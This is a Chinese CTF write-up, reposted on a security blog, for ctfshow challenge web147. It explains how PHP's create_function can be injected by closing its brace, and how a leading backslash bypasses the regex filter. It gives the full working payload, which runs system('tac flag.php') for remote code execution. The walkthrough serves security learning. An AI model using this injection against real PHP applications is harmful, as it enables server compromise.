【ctfshow】php特性create_function的妙用

admin 2022年1月10日03:34:26安全博客 CTF专场评论57 views1145字阅读3分49秒阅读模式


【ctfshow】php特性create_function的妙用

前言

记录web的题目wp,慢慢变强,铸剑。

create_function的利用姿势web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

这里正则简单的就和\W一样的意思大小写字母数字还有下划线不能使用,我们能随意控制show的内容,这里可以使用create_function()

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分

也可以使用导航中regex101进行正则自动判断分析

image-20211010105049748

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$gylq = create_function('$gylq','echo $gylq;');

$gylq("test1"."\n");

//相当于

function gylq($gylq){
echo $gylq;
}

gylq("test2");

//输出
test1
test2

利用方法也就是我们可以控制show的第二个参数即如下:

1
2
3
4
5
6
7
8
9
10
11
$gylq = create_function('$gylq','echo $gylq;}phpinfo();//');
$gylq('test1');
/*利用介绍如下
如果我们把第二个参数输入的是'echo 123;}phpinfo();//'
用方括号闭合方法,并成功执行phpinfo
也就是如下的形式,成功绕过得到phpinfo函数
*/
function gylq($gylq){
echo $gylq;
}
phpinfo();//}

image-20211010161323480

正则,我们可以用\进行绕过,正好\在php里代表默认命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法

所以这里可以直接用\绕过,构造payload来RCE

1
2
3
4
5
POST传入
ctf=\create_function

GET传入
?show=echo 1;}system('tac flag.php');//

image-20211010162616149

我的个人博客

孤桜懶契:http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:34:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【ctfshow】php特性create_function的妙用 https://cn-sec.com/archives/730052.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: